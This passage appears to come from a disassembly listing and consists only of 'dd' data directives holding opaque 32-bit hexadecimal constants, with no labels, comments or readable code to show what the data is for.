		dd 6F56A368h, 7A93D240h, 87B381C1h, 682A923Ah, 4DC2BFE0h
		dd 5EAC5B5Ah, 71840F09h, 46684942h, 95176FC3h, 8EE89C35h
		dd 5AE29110h, 3D105BA8h, 0C1F05F11h, 0D1270310h, 9BCC80F9h
		dd 61F38E10h, 25B6521Fh, 300B7BFCh, 6A02D5C5h, 84F1CE20h
		dd 5A205CC9h, 0AA48CDD5h, 0AF1429AEh, 0C9AF3B99h, 237E6842h
		dd 5204CDC4h, 0EA2C05F3h, 0DCA65882h, 18B648B1h, 0BD5E4B51h
		dd 184BFE04h, 0C3AA312Dh, 0B74C16BCh, 509F2535h, 9563B2ACh
		dd 0D5C9D95Bh, 7B4EFB0h, 19A48091h, 402FC9CFh, 9A585D43h
		dd 760A20FCh, 4A3331BFh
		dd 0B05BAB34h, 0B249F0C3h, 0D210B47Ch, 1C4AFA62h, 810000DDh
		dd 0B82B8EF7h, 0DE8B8196h, 0D312E22Bh, 7644D08h, 36BEC80h
		dd 0C3B058E3h, 862D0FE6h, 2EC28A52h, 9241D225h,	9183355Fh
		dd 0FECAAF10h, 1090444Bh, 50280BC1h, 0A1E420F0h, 20D8BF03h
		dd 0DA476BF7h, 3CE1E496h, 8C9D69F5h, 0CDCD9F27h, 0F00C326Fh
		dd 1E25583Ah, 0B3A0F486h, 2CF81274h, 30DB856h, 7FD4FF4Bh
		dd 8141C03Fh, 66027DF2h, 82E90B5Bh, 51E4DD1Fh, 0E328801Fh
		dd 3AB55893h, 8998F47Ah, 0E78D6060h, 0C4AF315Ch, 4E57AC8h
		dd 1CF8F488h, 4BFFE33Dh, 789FB235h, 0E712FA4Ah,	643469BFh
		dd 96A44028h, 70F5F95Ch, 89C80484h, 0BA595818h,	44A258Bh
		dd 0FCFE54D7h, 0F18A8574h, 3BC2D9BFh, 416E55F0h, 74E6D531h
		dd 0A003BD75h, 0BA696461h, 48D29894h, 6ECA0781h, 60414C3Bh
		dd 73A8EC2h, 0A2E94516h, 9804F685h, 0BC16AA94h,	40E641ADh
		dd 0D6F62FF9h, 0C14E1A98h, 0E48F958Dh, 3DA4BCB5h, 46A08CBBh
		dd 26B970F2h, 0F97D009h, 0D3049753h, 0AF178E6Ah, 281962Ch
		dd 0BD5CDAEAh, 0CC5D017Bh, 60DEB624h, 0B16C062Dh, 90E2148h
		dd 0D8ED283Ah, 7F3F0B88h, 0CA541E65h, 86ABF082h, 88227491h
		dd 88009241h, 305966CEh, 8D789EDEh, 3F1C8935h, 253FC98Dh
		dd 922FCC5h, 0C46D9D68h, 5B0B98DDh, 0E991E022h,	0F576CA33h
		dd 248E70D7h, 8F14951h,	0AD167484h, 2DC7641Eh, 0F51305C6h
		dd 7F3E926Fh, 4076D88h,	0B978A4E9h, 8DBB026Ch, 5A511F73h
		dd 5B13022Bh, 46E96BBEh, 8E56DC6Ah, 0A4B95652h,	6CB0009Bh
		dd 0E981674Bh, 0FB0E6B75h, 328E0F75h, 0DDB234C7h, 0F84455CDh
		dd 0A3DC882Dh, 1370A013h, 21FA3925h, 4633798h, 2B53D1AEh
		dd 6ED53108h, 25C94514h, 0D8455EEFh, 0DF82BD69h, 90721B64h
		dd 59879586h, 0FB06DCE9h, 0C1F0D9F0h, 0B050600Fh, 0C0D8007Ah
		dd 1D3405E8h, 131224E7h, 60EA1F15h, 63AC48B7h, 0EFEB9699h
		dd 81DCD869h, 57C201C2h, 0CB5DB432h, 0E0DAEA4Fh, 0BD5E73EBh
		dd 5B1A7B15h, 0B0E00447h, 3B56581Dh, 74F8F529h,	0BDB8B84Bh
		dd 40D401E4h, 60577B3Ch, 5F82FEFFh, 0F5D3242h, 118352DDh
		dd 0FCE37D89h, 0CEEA4E3Ch, 7C844B39h, 4BD991EBh, 0ACB1040Eh
		dd 6065A640h, 0FD534A67h, 0FE5D2D3Ah, 0DDDE0904h, 2E624874h
		dd 927D888Ah, 0F0B76E0h, 304B7C4Fh, 60C201EBh, 135FD727h
		dd 783740C1h, 0A107C7A8h, 7C824FCAh, 5F100758h,	1A1D37E8h
		dd 26FFD3Bh, 2657A4E5h,	7F04C042h, 5DFF374h, 0AD4D2524h
		dd 0C091AF6Eh, 0BF00167Dh, 0D7C646Ah, 0E93B989Fh, 971ABAADh
		dd 0FFE919D9h, 195CAEB0h, 0B98ED9B7h, 69733F25h, 7AE0E909h
		dd 512DA057h, 133A0968h, 0B83362FCh, 683D06D9h,	7CC7C0EDh
		dd 59E9791Ah, 563B7E28h, 0A4B35025h, 0B2FC47FAh, 72817E2Dh
		dd 0A56EE5FDh, 3F02CBB9h, 0EBD734A3h, 0F252C465h, 2349A870h
		dd 0B9295C17h, 17070528h, 0FD21B7E9h, 891CD32Ch, 0FDFDDD92h
		dd 0BB7A4889h, 6564EF02h, 5829608Eh, 20883DEh, 5D254A0Ch
		dd 26F05A14h, 6C36816h,	818138FBh, 3050DF92h, 0A4A26CBh
		dd 543A40CCh, 2B51C4Fh,	8E5C00Dh, 71E0ED80h, 0A8BAB6C5h
		dd 0EEF29920h, 44D12768h, 5C847AB8h, 0FC5E2084h, 0DDED2D4Fh
		dd 4404F7Ah, 0A8F02814h, 98CC17C5h, 224DE6F6h, 748D4E7Bh
		dd 1A8FFB3Ch, 2F4BB54Eh, 892E34E5h, 3530E943h, 5B06C87h
		dd 611E7BCAh, 6852C91Fh, 58F21D64h, 21E3D39Ch, 7F63B344h
		dd 63206035h, 284148BFh, 0BCA3456h, 385775A4h, 251F5A00h
		dd 18C25316h, 60AC21D2h, 81C9ADF8h, 27F53A2Dh, 0AE28CDE9h
		dd 505B5400h, 72306855h, 5D58F812h, 0F34E00Ch, 74969F89h
		dd 0E91D87B0h, 294E2B14h, 22E7C5C3h, 206D89EEh,	0D782C8D3h
		dd 1D3ACC40h, 9A51F527h, 0F4E87DC6h, 8DBB7A36h,	0B708A124h
		dd 0FD42FCCh, 0EFF2A839h, 9C2AAF27h, 0B7681245h, 17EFCA73h
		dd 8785E3E9h, 3C1FB4F3h, 63C74944h, 1FCB9CDDh, 0C4BA5250h
		dd 0FE2D7911h, 56022282h, 0ED680EBEh, 0B5DAD8D4h, 9D545FF4h
		dd 50A005CAh, 0DCF61FB4h, 97EC8013h, 30D419B1h,	0D7482D4h
		dd 0BC4BAA20h, 0C0326C34h, 0FA67E05Ah, 8C6EBF2Eh, 0DF17FB4Eh
		dd 0E98A28F7h, 2F582585h, 0E377309Dh, 1109586h,	6F27769Eh
		dd 0B5BA1440h, 64CDCE11h, 7F07BDDBh, 213B3C23h,	0AB67EBBBh
		dd 205DDE1Bh, 892C5AAFh, 31597AC5h, 0EC4F6662h,	0BCB464h
		dd 9F912639h, 0F8311225h, 0CD123013h, 0B6C35AABh, 44FE57Fh
		dd 0CC39F368h, 0B3005338h, 0FCBFE25h, 0B28F1E8Ah, 0D734DF8h
		dd 0CBE2B95Eh, 0D7EAC255h, 0F745FDE0h, 666D60E9h, 0D0A06F05h
		dd 60C2E829h, 0F06802D7h, 0B362075Eh, 7EC44022h, 7E44B590h
		dd 0B70F53F2h, 9AFB213h, 162565FAh, 505E05D0h, 7ADDAAE8h
		dd 6089BE08h, 4CC5B1B7h, 257BD01Ah, 46CA8B2Fh, 0DA9420E3h
		dd 2734BD01h, 0DDF72CAFh, 0C5DDD12Eh, 47B7F01Eh, 26860CDFh
		dd 0C12254BFh, 2B991C10h, 0CDE2A243h, 558726h, 0DD02F91Ch
		dd 9052684Eh, 838077F1h, 7D03EFDDh, 0E2717A0Ah,	9028586Ch
		dd 803977E8h, 5F2DF929h, 0B8EF92Dh, 44D425D1h, 84256845h
		dd 847580BEh, 735F5B7Dh, 84157E9h, 905155FCh, 7ED3070Fh
		dd 0A0B902B5h, 0E9655DD4h, 0E01D0F4Fh, 171268C5h, 0C91ECB34h
		dd 0C8646753h, 5D265181h, 0E6D32532h, 63BF0427h, 80EA6E68h
		dd 0D94DF1FBh, 0F7067C76h, 1A5F46AFh, 380A0C0Ch, 52AE3F67h
		dd 59C71317h, 346F89F1h, 0CA95016Bh, 3B7D2C68h,	0FAE90B0Bh
		dd 88719D67h, 0F131FA6h, 6E10CDA7h, 56BE2795h, 0DA72A77Eh
		dd 4C89AA20h, 0AD2CD028h, 145AADF1h, 80AAFE20h,	27933AADh
		dd 0AE8B46EDh, 38F7FB62h, 8A02C249h, 9FBC9ED5h,	681EE0E4h
		dd 7B267EBAh, 0B58B342h, 0BEF59341h, 0F882127Bh, 6ECA3DBBh
		dd 9C5A81CBh, 9A97F27Bh, 0A19177FDh, 37657DD3h,	0ADA77B76h
		dd 54D831C2h, 0EFFC528Bh, 8801566Bh, 0FB262891h, 0B2A8C813h
		dd 68475902h, 2FDC1E2Ah, 12649F60h, 1417Eh, 0D73F7BF5h
		dd 23A7654Ah, 0D021E913h, 0DB4F13Ch, 0F76BF05h,	45BFE380h
		dd 8B1BBB39h, 23575571h, 7EB84B30h, 0E911B1B0h,	0F6F86F25h
		dd 0B863C49Bh, 0C4BC4E1Ah, 0E6F95CA3h, 0DB1EA757h, 0BC243ED0h
		dd 50D6AF9Bh, 965FC296h, 8B2B298h, 0F1048067h, 58613090h
		dd 9EB15106h, 33EDD3Ch,	0E917E120h, 0E431C7Bh, 10C8B28Ch
		dd 27FEEDh, 4D1B5CB8h, 99C3897Bh, 8255CBFEh, 40395679h
		dd 9DDB8F32h, 0A0EE99A5h, 4704BB54h, 56689371h,	6A9C2EFFh
		dd 831C308h, 17E0B09h, 77EEE607h, 0C5E07F72h, 89791FBDh
		dd 81D19F4Bh, 0B56F7EC9h, 97E9D869h, 0A785D412h, 0D26945BFh
		dd 20B9E4DEh, 3FE50B1Eh, 5DB8A7CBh, 0F0476519h,	30C831B9h
		dd 0E3642F6Eh, 8BF01121h, 0FA760AC5h, 0A5210C92h, 0BD00D40Bh
		dd 0CC2D3CBFh, 0C1B4007Ah, 6AF704E2h, 9E04D2h, 8612B18Dh
		dd 89E9A4E9h, 7456584Ah, 455DA35h, 5809C590h, 0DCAA0513h
		dd 20575D03h, 8326AF0Eh, 0DD17C4C5h, 3F2129ABh,	0F581F807h
		dd 7C884920h, 55BE9h, 9590BFF5h, 2D042012h, 670F24E3h
		dd 0ECE46CC4h, 17875A14h, 48C22D1Ch, 565A8BA4h,	4CDD8AE5h
		dd 0A2E0162Eh, 3D344F57h, 0D1561E16h, 0BF0003A6h, 81570E7Ah
		dd 7207F8F2h, 3BE93D59h, 4D5A50DCh, 0AF96145Bh,	7C247B29h
		dd 6CA9BAD3h, 32949740h, 0F2972CBCh, 0B39087BDh, 5B8C2010h
		dd 7CD222A3h, 0D24A5CB7h
		dd 63438A9h, 0A0628075h, 0E9B04379h, 1C0923F8h,	52921E8h
		dd 817C15Dh, 414B76A4h,	0F8C83BB6h, 776CF9B9h, 0F72318Eh
		dd 0E7D7E16Bh, 0D64E7B2Eh, 53595980h, 0F335F054h, 5F66F66Ah
		dd 0B52944B0h, 8FB00052h, 4A5E720h, 3C7094BAh, 47FCC025h
		dd 9EB05156h, 1DC4EB00h, 0F3E97406h, 83DA961Eh,	6FF7685Ah
		dd 95D90987h, 2E88361h,	10B1892Eh, 533668EFh, 0B767399Ch
		dd 528322AAh, 1BFEBBB2h, 0C1B842A8h, 360FEAD4h,	0A4BF6B51h
		dd 3CBE529Bh, 2823140h,	54DF3CC4h, 10004B04h, 2F7F5A60h
		dd 22B44EFCh, 0A8ED830Ch, 63968C2Ch, 4355218Ch,	9C3EEEF2h
		dd 53588F14h, 0EEC364E5h, 20124526h, 0EF8160D7h, 7D3AD80Fh
		dd 439C01ECh, 0CC125997h, 13E558Dh, 0A65A6371h,	10537976h
		dd 502FE705h, 65C4E780h, 5B78018Ch, 7E07EB51h, 18188636h
		dd 24863F80h, 809F7EDh,	42015D47h, 0F5080919h, 0C46828A7h
		dd 65CAFF2Dh, 0EE93ACD0h, 54972B44h, 89352741h,	0E5E53A1Eh
		dd 5A357EF2h, 20D53ED7h, 0E09FD266h, 82938646h,	0D993EF43h
		dd 0C1490813h, 7FE9A6A1h, 68AE883Bh, 0D94C3F2Fh, 0FD9788CDh
		dd 51DF235h, 0E0D67EDEh, 77B4A9E0h, 0B5A2D4Ah, 213F81ECh
		dd 168CF1DCh, 34C2B4E9h, 0BEB481DBh, 3DC4369Bh,	0B109315Fh
		dd 0E8EA6968h, 82D9DBFFh, 842AE777h, 0B29F1EE9h, 0E168098Dh
		dd 5AFAD664h, 0B1955B43h, 0EFC72A7Ch, 59AC6B84h, 1917AC3Fh
		dd 4E7CB6F7h, 0ACDA3AA2h, 42344577h, 2BDDBD55h,	799E74EAh
		dd 0F0162AFFh, 0E9DE68BBh, 24E32730h, 707E0C1h,	366B9705h
		dd 49ED2A3h, 5EB39CFDh,	9CDCCCB8h, 14E37C05h, 9609F101h
		dd 0A68C5E21h, 63A671h,	0AC99B5E5h, 5D4EEB09h, 0E8DB10C3h
		dd 91A8DF3h, 0C1E970BAh, 1CBE6EA0h, 775B7A25h, 12801B8h
		dd 4BC4B0ABh, 0A83E1371h, 0EE09A42Eh, 0ED2B70E2h, 815AB67Eh
		dd 530EE930h, 8980F855h, 6260850Fh, 0F5C31374h,	6C90E07Dh
		dd 5ECB1330h, 0F78A2333h, 0DA1AE027h, 7C5197D6h, 7C36E9C1h
		dd 556CBB52h, 59135351h, 5E683F8Dh, 4A29BFF4h, 17E9C98Bh
		dd 0D1B22B7Fh, 685B02FCh, 1A5F7D6Eh, 9447146h, 64EE59F3h
		dd 0E65ADAF6h, 7FBAC992h, 79800329h, 27C612C5h,	0A1A04282h
		dd 5C1A68BDh, 8DAC3D8Dh, 51832EFFh, 0DFE4D283h,	82C32A2h
		dd 775B5A27h, 6E84383Ch, 72036819h, 1D75883Bh, 0BB52A03Bh
		dd 0D96097B4h, 1209DC30h, 53D8E940h, 0BCB51817h, 3B1E7550h
		dd 226F8B51h, 1E7D329h,	57AA8A0Fh, 0A32CB3F2h, 0E7851708h
		dd 19742D9Dh, 0CBC18BE5h, 783C6127h, 0A0278AD0h, 4577632h
		dd 13FF3836h, 0BC3DEB33h, 5E681060h, 8D1ABDFAh,	0F3F42301h
		dd 3FB4B312h, 5B88DBDDh, 49FB018Eh, 2D67C40Bh, 347152CBh
		dd 0EBADA56Fh, 0D7B54956h, 80667C2Fh, 1195149h,	3DA24DF6h
		dd 0C07121D4h, 0A892E8F8h, 4ADB829Ch, 0F725EDBDh, 0B945E155h
		dd 0AE7DEBCh, 1DE7F85Ah, 9A015ECEh, 8E6C160h, 6B7A98E7h
		dd 66DB8ECh, 4A6304EEh,	7F7D0C1Fh, 76E7942Fh, 7684B9DCh
		dd 0C23BA44Ch, 3505D975h, 5B7DC8EBh, 0FD4D587Dh, 21BC4EBAh
		dd 0B6DC21D3h, 7CE805AEh, 12C43750h, 0AE0E8FF1h, 259C4909h
		dd 82BF470Fh, 29E9F891h, 967DE221h, 0B71720B9h,	898DFEC4h
		dd 167D5844h, 0FA0C12FBh, 0D2FA8A24h, 0D4D87C72h, 0BB3DB097h
		dd 9C41763h, 0A61607B4h, 2947035Eh, 128DC4B5h, 2FB3A808h
		dd 9F07E5Dh, 0DF040E9h,	8154512Ch, 0A248EC10h, 10AEF924h
		dd 97B800FBh, 0BF543261h, 1A3D3803h, 58C73100h,	0EE44E955h
		dd 545F26C9h, 0FDFA4291h, 89468A54h, 7ABA4DC2h,	5B53558Bh
		dd 8D14D288h, 0F079C9E5h, 3658184Ch, 40020037h,	4E399F05h
		dd 54E91337h, 9B76F4E3h, 48452217h, 503E9EE3h, 40BB0B10h
		dd 83BF0A9Eh, 103DD908h, 720287h, 520876B9h, 9CCB0177h
		dd 0E269162Dh, 0DB42049Fh, 48ECD34Eh, 635E2D2Dh, 0A22FE5CDh
		dd 0CEE9A0ECh, 871D96C4h, 5B97290Eh, 42485570h,	0A4376E2Fh
		dd 39FE4FD5h, 0A3664505h, 0D9E41233h, 0D94FDBA7h, 5303F290h
		dd 0EF533BA1h, 3DFE6B5h, 2F224AEFh, 0DB4231AAh,	0C7A02D59h
		dd 0A7E95A08h, 2EEC20B2h, 619BE057h, 0CC17E280h, 2831F6F2h
		dd 0B34F2ED7h, 5585386Eh, 0ECD9B09Fh, 0EFAD9E8Dh, 5CE1D169h
		dd 9FE73E5Fh, 0D3BAFE79h, 2BB81Fh, 1A5967F6h, 12A0EA81h
		dd 8C26A5Fh, 501AE63h, 71992CB1h, 927F5ED6h, 170CB25Dh
		dd 0EF40E0E9h, 2C5B3BBBh, 0B84B7170h, 6E9A0B95h, 40827EB6h
		dd 6C437E9h, 944F0825h,	2D4A9FCEh, 2362E6F4h, 0CBC65F0Dh
		dd 1A00C65Bh, 3058E288h, 0E6C497D0h, 0C9B5BDFEh, 0F520C62Dh
		dd 0FA80B5E6h, 1AF40AEAh, 0D81570BDh, 0FED41604h, 0E0C9112Dh
		dd 0C4C50CA4h, 0E4EB99Fh, 0ABD1AA51h, 0CE893D04h, 4639C8E5h
		dd 48DC68F0h, 3A3618B5h, 3DF82823h, 600602DDh, 0DF315A2Fh
		dd 0D1CEDF86h, 0D674F6E8h, 5176F17Eh, 8059D4C1h, 0C16FCFC1h
		dd 60C3288Ah, 0E91003FFh, 100AF13h, 27E805D0h, 1F9E620Dh
		dd 0A1C3706Bh, 0C42F2EDFh, 0D041B205h, 7AC3189Bh, 8269B1FBh
		dd 7567445Fh, 9B459565h, 79EE2888h, 0ED72C56h, 0EF1C39C0h
		dd 7F10A59h, 0CF028A24h, 0E4C2DEE9h, 0A5152707h, 0B670EBF6h
		dd 0FF7297C9h, 81BA8E21h, 0B80178BFh, 5096F460h, 0DF8D4DC5h
		dd 0E34B5AB8h, 465A8921h, 0DBBD0106h, 1D5C2BEh,	103122FDh
		dd 2C178570h, 0D6C9B2E8h, 27B71641h, 0FCC9E730h, 0FCD08ACh
		dd 803C8853h, 0D5F65BFDh, 4B9619E9h, 0A247870Bh, 7EC7F165h
		dd 2BF4A59h, 299801FDh,	0F20DF906h, 4FE6ACD7h, 16FFA353h
		dd 0E300D389h, 78088EEFh, 92DAB735h, 575B0880h,	2F93A291h
		dd 5B2CA0A1h, 7430FFF4h, 0A87C7BE9h, 0A005E1C7h, 941DE0D0h
		dd 6CC4812Bh, 70512146h, 724BB4EFh, 606127D9h, 1695F67Ah
		dd 6266B636h, 5B9F2717h, 0E9F735EEh, 5D4C3406h,	0DCDA6825h
		dd 0F1AE9524h, 4F622D00h, 0FE053982h, 2F36221Dh, 3F06F442h
		dd 2DF5C134h, 115A0747h, 6E09E428h, 7F55C03Ah, 77BBF7B0h
		dd 518A4A04h, 8395F2E9h, 52D35044h, 0EA8084B8h,	0E190FBA4h
		dd 0EB00BEA4h, 68790108h, 9EDC14E9h, 0A364EA1h,	0BC7A8130h
		dd 29916617h, 0CC043EC5h, 5300B188h, 0EB8008B3h, 86748CC4h
		dd 0C02D24EFh, 7E219330h, 0DE265Ch, 63C35FEAh, 0B6A5870Fh
		dd 0C5461DC6h, 0F4020584h, 6105CCCCh, 350C6F52h, 9F5810C8h
		dd 46085E59h, 41B13A4Ch, 0EC68520Bh, 4B583566h,	3FEE4576h
		dd 46613DA1h, 80174C28h, 0DA1C04C5h, 42C14650h,	575E68h
		dd 701CF137h, 0F9BF3B7Ah, 0FE688FA0h, 7B8B6033h, 385F423Eh
		dd 0CE30C5C7h, 9554A9E9h, 568B15C8h, 0BA6B5701h, 79399D0Dh
		dd 0BA6FC46Fh, 9FA84C04h, 0B07675EAh, 8D24A26h,	0E0EA2500h
		dd 4F0C7F59h, 3AEB9921h, 0C75D5046h, 9FE97E71h,	4ACE081h
		dd 0E7B530F3h, 7AC2801Ch, 572CACBh, 61F3C0D4h, 0CA289682h
		dd 0E461C0E2h, 0C6A09765h, 16A4A08Ch, 0FE1C8E08h, 85FB1A24h
		dd 0EC9BAF39h, 85F42D2Dh, 987F3A5h, 3D1B0B2h, 1FD25914h
		dd 0F4755703h, 16BC4A88h, 0F3E6B7Dh, 0E9BC014Fh, 0D6F70BC6h
		dd 81BB8311h, 75E62D27h, 0A13C0852h, 0EE499C3Bh, 0ADCA5E98h
		dd 0C1E89395h, 3626EBFh, 5F54CC01h, 0BADAF748h,	0AC728C86h
		dd 0EA3A1C1Bh, 16E0B5Eh, 4DCC5AD5h, 61F9E92Eh, 0F3A65E96h
		dd 520F5658h, 0E496F5E9h, 8B0F202h, 8851D21Fh, 5D43193Fh
		dd 81C858A7h, 7FDA04EDh
		dd 0D613860Fh, 200B1726h, 0AAE3E92Eh, 8E26107Ch, 24FDB80Eh
		dd 9BBD2D0h, 3168313Dh,	29782E9h, 55086879h, 0A43E2579h
		dd 29977D97h, 0E8CD0FEBh, 0BB627349h, 3F265561h, 76F74FF4h
		dd 3D52DC7h, 7B1C50E0h,	520A983h, 2192F168h, 7CEE214h
		dd 0B074C307h, 909A2BCh, 860958C7h, 0EE641805h,	3257902Dh
		dd 122A2061h, 868C42h, 0F2755ABEh, 311A3D5Ch, 58C3D368h
		dd 98C45B38h, 86B107F2h, 0C828FD91h, 0F34F2C92h, 1B3C5805h
		dd 0B7FDA0F2h, 0D1AD7272h, 46726BADh, 2ACFA655h, 0E2812630h
		dd 0D17D1846h, 0EDF3D26Ah, 0BA9710BFh, 4084B620h, 64096092h
		dd 2AFA0124h, 68140820h, 84617B53h, 0A9A2B9CAh,	11FE534Bh
		dd 0CB48B467h, 2DCC1D10h, 9A88E031h, 5F91C9h, 712D3569h
		dd 93308C0Fh, 0C7EA830Bh, 929B2EE4h, 7CE90E6Eh,	5575BFF3h
		dd 8B528B8h, 7F2C4912h,	1BA1EB01h, 922A5799h, 18705166h
		dd 0AB92689Dh, 0E91786F2h, 34E864DBh, 581C87E1h, 2300CAF9h
		dd 0CF816C74h, 0F96B6645h, 535D407Bh, 870C0661h, 0B6A14EF2h
		dd 0FED854C1h, 0E90B7ADBh, 7FDC5B06h, 9F101ECAh, 0AC088812h
		dd 3B1FB3E5h, 1A5CD1F1h, 0AAA29716h, 0BAF96929h, 9D5A7864h
		dd 4762A4F9h, 0B5B90093h, 0E09A333h, 1B162C68h,	49C616BFh
		dd 0C33F2A1h, 0B86670B3h, 774B4E39h, 7C71B397h,	0F4B62F6Bh
		dd 59D202A8h, 645501B3h, 0F57BF17Fh, 1A4F95Eh, 0F328D146h
		dd 9B691805h, 0BFC71395h, 0E5AC9152h, 38896225h, 587D18ECh
		dd 0C5196869h, 0D3591F58h, 4A71C36Fh, 14CA25B2h, 38B65340h
		dd 584F6AF8h, 2AFB4B02h, 0A04483Bh, 330254Ah, 882AE52h
		dd 0BF846582h, 4C43600Eh, 0F2BD4BD6h, 0B42912B3h, 0EB8DF001h
		dd 0AF1F2AC5h, 0B4819AF5h, 3CCB63C6h, 12EDF85Ah, 342D65BDh
		dd 278AAABAh, 0BFAF75Fh, 68856CE9h, 816F2D94h, 75FEF143h
		dd 61B76F14h, 9AAB111h,	1884C2E9h, 395B50DFh, 0F7925953h
		dd 5EADACD9h, 52036F00h, 18876855h, 84798047h, 0B33D06F5h
		dd 0EA89820Ah, 0D5DC54E9h, 2C6E27BAh, 45B537B0h, 0B7CCA030h
		dd 8E71C20Bh, 0E267E96Fh, 0F2C9FFE4h, 4F27C0F5h, 5207028Ah
		dd 8F44F5BAh, 5E025F2Fh, 0FA447289h, 0B1624437h, 82A97769h
		dd 90106805h, 8E0FDBD5h, 54C4974Ah, 2F6921EFh, 0E22664D7h
		dd 25A31562h, 0A81C7DE1h, 33BE5C4Ah, 0EF8D4759h, 52EAE428h
		dd 4B5B9E6Ch, 4CC05A4Bh, 0EA0C99Eh, 38300828h, 75790C34h
		dd 50595ECDh, 0C680809h, 9DF62514h, 795DABEFh, 4C8EA1E6h
		dd 5E805DCAh, 0A782D68h, 0F4D28D76h, 27E9E1CFh,	0AEB22FF4h
		dd 0B9E1F785h, 0BBA284C7h, 559CB800h, 62BD249Ah, 2BA8DFA4h
		dd 0D5E6250Bh, 0D5BC5B4Eh, 48796A10h, 0D8AE1048h, 803FB503h
		dd 4ED2CAC5h, 9DB8667Dh, 43E442F8h, 684DC81h, 0D5D0E98Fh
		dd 788EAF59h, 82DF0E50h, 12377157h, 59181D7h, 0A1A06802h
		dd 0D939FCE9h, 0CB91EA02h, 7E70D957h, 4FFD41BFh, 488E1660h
		dd 0F765B6Fh, 18223AE7h, 27D73187h, 69714BFAh, 71AA418Ch
		dd 8644135Ah, 725DB62Bh, 631EE980h, 0B7EE7946h,	1079B858h
		dd 0DA6AEFD9h, 0C510CEh, 9E7EC3BBh, 16E8B851h, 0B00D2AA8h
		dd 0CD1C0515h, 21CB0CE2h, 3DD95CC6h, 6AE0060Fh,	0B8E9FE21h
		dd 78FF3385h, 3C7A5228h, 0B898FC95h, 8DFC0369h,	4B254800h
		dd 22B7A70h, 0E907E8C1h, 2F76E1BCh, 0CFA764EFh,	570BD0BDh
		dd 74D0EF68h, 52E0BEB4h, 9F1933E9h, 6C72F0ACh, 5047DA96h
		dd 0F7D1DA95h, 0F5DCCC30h, 580EC6ACh, 31791E43h, 0FC6811C2h
		dd 627D5675h, 280079FBh, 3AF52CD0h, 0FC0F5A66h,	0E8418D04h
		dd 3AB9C0E9h, 0B28B5CF3h, 0A2438602h, 0BF7011D6h, 996304E0h
		dd 82474F0Ah, 6801A383h, 0AA732367h, 1516543Fh,	0C1339498h
		dd 41135D11h, 23978D7Fh, 0FB011371h, 0AF4A76E6h, 0F3290907h
		dd 77138832h, 82DE4F11h, 58820F9Fh, 0E5810003h,	55FE3552h
		dd 9F007EB0h, 0F50D227h, 9A8CB28Fh, 93456676h, 5F05089h
		dd 4D019192h, 5797BE56h, 3660313Ch, 0A72204DEh,	0ABF5292Eh
		dd 9D31E2C9h, 4CB3AC2Eh, 54461055h, 1413314Ah, 5415A77Dh
		dd 534E458Fh, 50E2B3DFh, 0B425682Dh, 52E0FC0Eh,	0FDBC02C0h
		dd 4F80180h, 787AA12Dh,	53088006h, 1906A7BBh, 5C31091Fh
		dd 0AF02BF32h, 0ECB657BCh, 7200804Ch, 0E69EF027h, 886B2089h
		dd 0D0785074h, 7AB4F34Eh, 0D520C64Fh, 4908BADh,	0EF0E179Eh
		dd 32D6257Dh, 130EA405h, 0FE683640h, 9D704718h,	0EF0B7ED0h
		dd 0C81C5475h, 80B72998h, 7A5A1468h, 0CDD6A2ACh, 586C0257h
		dd 0CE5DB1D7h, 0EF69122Ah, 13307029h, 361126Ah,	0D8080340h
		dd 80BD792Bh, 1214CF3h,	2C41D1B5h, 21E95049h, 0C0ED0A5Ah
		dd 0B9D9A59Ch, 4D60A41Ch, 40050A5Ah, 0D032880Fh, 0DAF792D5h
		dd 0C2BDE7h, 31E786A6h,	542CE9D8h, 2E24FD9Bh, 1FDA2974h
		dd 659722EAh, 3BBE00DBh, 0E98DB9D5h, 56AF8026h,	91EF8863h
		dd 326A5BFAh, 0AE4828C9h, 659C7606h, 0F4F1808Ah, 2DE29208h
		dd 0ABC9F851h, 0DD380057h, 0AA7E131Fh, 7812D5F0h, 2914E61h
		dd 39217BACh, 0F6A2905Ah, 0B23D5229h, 0A69F9302h, 1DD7F641h
		dd 0CB305406h, 5B07A12Dh, 0E9C22D72h, 65D7C00Fh, 404CAEBh
		dd 0BAE065FEh, 1E0DCDC0h, 85424E07h, 0F9278060h, 155EE77Bh
		dd 896B7AF1h, 0BFA4CF72h, 1C2B1BD9h, 3A84FCF3h,	0AF440130h
		dd 0C0B3034h, 0C79A0258h, 0F85B0549h, 0EE3073FCh, 0B1510D07h
		dd 0CE302E1Ah, 0EA5101Dh, 607FCB80h, 8B0F83E3h,	0F7CF5A0Ah
		dd 0DF58C9F6h, 0B1395C24h, 0C7EC2A39h, 5815FE2h, 7B6D5868h
		dd 0C153F962h, 0EB92E10Fh, 1E84024Dh, 9A87B21Bh, 536FC1CDh
		dd 238A203Fh, 3E023534h, 0E909F0B9h, 0C449C297h, 345AF276h
		dd 48B8DE20h, 0F22DEA5Ah, 0EAA754D6h, 6896F55Bh, 2D49E926h
		dd 0FD9F780h, 82C91A84h, 3C7EF4C3h, 89EDD13Eh, 0FFA45E8Ah
		dd 8800A214h, 0BEC589D2h, 3C9F6B26h, 82ADE930h,	836EBA22h
		dd 311FDA59h, 40CA5392h, 43086809h, 7B8A50B0h, 5FAC149Dh
		dd 938BA25Ah, 6E3E5604h, 555C33EBh, 0E06D7C10h,	9D82B570h
		dd 0E6D57A47h, 662D25C0h, 1213E4E5h, 584DADECh,	2F9E8CE3h
		dd 0BFA0D920h, 53EE6B60h, 1DB65204h, 0EE2F788h,	0CD01C494h
		dd 0F61DCA80h, 8EF2D4DAh, 0C8E773B5h, 4CC10D2h,	31139ABEh
		dd 0B7B809EFh, 0D25E92C6h, 1B821987h, 30BF9077h, 62B88063h
		dd 22FA5609h, 28780E48h, 16D2C47h, 9C522668h, 90A63E51h
		dd 8FB1DD2Fh, 4BCF7088h, 4F004E7h, 825D984Eh, 51C0229Ah
		dd 0A4C4054h, 845C8274h, 8B6D7325h, 2F2240F9h, 0AECC6775h
		dd 0E1BE3473h, 6CC6861h, 1920E2Dh, 8B587BC1h, 65D57E2Dh
		dd 16D12BAh, 0A46F4576h, 0D9A7307Fh, 12536017h,	0C8C59804h
		dd 8578AD13h, 8BFBF1F6h, 0B1921774h, 2AB3AF4h, 89181BC4h
		dd 2BE05FF8h, 1957C06h,	415D61F6h, 4FB5E9D8h, 0AFE9296Ch
		dd 70CF7E0Ch, 40825F5Eh, 282F847Ah, 50F54213h, 18FB23A5h
		dd 0C2EC716h, 0AF4B6154h, 54EE54C7h, 140C6808h,	77E05D17h
		dd 4F629736h, 71F13C3Bh, 0EBA75401h, 70B1B704h,	0EF04B5B9h
